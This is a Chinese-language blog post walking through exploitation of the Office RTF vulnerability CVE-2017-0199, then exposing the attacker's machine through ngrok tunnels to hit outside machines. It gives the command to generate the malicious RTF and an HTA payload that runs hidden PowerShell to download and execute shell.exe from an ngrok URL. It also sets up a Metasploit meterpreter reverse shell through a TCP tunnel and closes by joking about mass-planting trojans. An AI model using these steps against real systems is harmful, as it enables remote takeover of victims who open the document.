對CVE-2017-0199的一次復現過程與內網穿透的利用
FireEye最近檢測到使用CVE-2017-0199漏洞的惡意Microsoft Office RTF文檔,這是以前從未發現的漏洞。 CVE-2017-0199漏洞發布日期為2017年4月11號,受影響系統包括:
Microsoft Office 2016n Microsoft Office 2013n Microsoft Office 2010n Microsoft Office 2007n
該漏洞利用OFFICE OLE對象鏈接技術,將包裹的惡意鏈接對象嵌在文檔中,OFFICE調用URL Moniker(COM對象)將惡意鏈接指向的HTA文件下載到本地, URL Moniker通過識別響應頭中content-type的欄位信息最後調用mshta.exe將下載到的HTA文件執行起來。
首先我們要用到一個Python腳本用來生成CVE-20170199的利用腳本,項目地址為:https://github.com/bhdresh/CVE-2017-0199 裡面有詳細的文檔就不一一介紹了。
1.生成RTF文件
使用如下命令進行生成惡意的RTF文件
python cve-2017-0199_toolkit.py -M gen -w test.rtf -u http://192.168.0.104/test.rtf
2.加入POC
在192.168.0.104根目錄下創建一個為test的rtf文件,並且將如下代碼寫入到該文件中
Test CVE-2017-0199n<script>npoc=new ActiveXObject("WScript.Shell");npoc.run(%SystemRoot%/system32/calc.exe );window.close();n</script>n
3.更改MIME
在Apache安裝目錄下找到conf文件夾,把裡面的mime.types文件中的
application/rtf rtf
替換為
application/hta rtf
然後重啟Apache
4.執行POC
重啟完Apache後打開惡意的RTF文件你將看到:
wr6666 彈出了計算器
你以為只能彈出計算器?
這不代表結束這只是開始。
內網穿透
科普:
內網穿透即NAT穿透,網路連接時術語,計算機是區域網內時,外網與內網的計算機節點需要連接通,有時就會出現不支持內網穿透。就是說映射埠,能讓外網的電腦找到處於內網的電腦,提高下載速度。不管是內網穿透還是其他類型的網路穿透,都是網路穿透的統一方法來研究和解決。在百科詞條NAT穿越,nat穿透中有關於網路穿透的詳細信息。 ----來自百度百科
簡單地說就是將內網的埠映射出去,使得外網的機器可以訪問內網的資源。
內網穿透的平台有很多,比如
1.NATAPP 基於 ngrok 高速內網穿透
2.Ngrok 國內免費伺服器
3.Sunny-Ngrok 內網轉發
4.gotunnel.org
5.花生殼軟體-內網也能用!內網動態域名
6.網路通內網埠映射
這裡使用Ngrok進行實驗 註冊方式略過。
HTTP隧道:
在後面使用本機的Web環境映射出去,這樣就可以通過外網來訪問本機的資源(放惡意RTF文件和msf生成的shellcode)
TCP隧道:
為什麼要用TCP隧道?讓外網的機器反彈一個shell到TCP隧道然後轉發到kali下,這樣kali就可以控制外網機器(反彈shell用)
內網穿透的利用
下載對應的客戶端版本 這裡用win10測試,建立完成HTTP、TCP隧道後連接隧道,開啟本機的apache服務 他應該是長這樣的:
192.168.0.108是kali 的IP地址 4444為kali監聽的地址
用msfvenom生成64位的shellcode(多少位的並不重要,可以直接使用windows/meterpreter/reverse_tcp)此處msfvenom的LHOST和LPORT應該是TCP隧道的IP和埠也就是http://server.ngrok.cc的IP和剛剛填寫的反彈埠(測試用的是1419) 所以它應該是這樣的:
然後把shell.exe移到win10的web根目錄下 然後msf應該是設置成這樣的:監聽的IP是本機的(TCP隧道里填寫的映射ip),埠也是TCP隧道里填寫的映射埠
然後修改下POC並改為:
Testn <script>n poc=new ActiveXObject("WScript.Shell");n poc.run(%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(http://meterpreter.ngrok.cc/shell.exe, c:/windows/temp/shell.exe); c:/windows/temp/shell.exe, 0);window.close();n </script>n
保存為test.rtf
http://meterpreter.ngrok.cc/shell.exe是HTTP隧道把web環境映射到了http://meterpreter.ngrok.cc所以shell.exe是在本機WEB根目錄下的shell.exe
然後將惡意的test.rtf(這不是POC的那個test.rtf,是前文用Python腳本生成的test.rtf惡意文件),在外網的機器打開
Then。。。。 你將獲得一個。。。。
wr 就這樣結束了嗎?
我想批量上馬了QAQ~
推薦閱讀:
※ADV170014 NTLM SSO:利用指南
※一驚一乍的「Wi-Fi 漏洞」新聞嚇到你了?淡定些來聽聽安全專家怎麼說
※兒童電話手錶的安全漏洞會造成哪些問題?如何避免
※大家都來談談安全漏洞等級的評價吧,你認為怎樣的標準合理呢?怎麼讓業務或者是其他安全團隊接受的你判斷。
※HTTPS 和 OpenSSL 是什麼關係?
TAG:安全漏洞 | 黑客Hacker | MicrosoftOffice |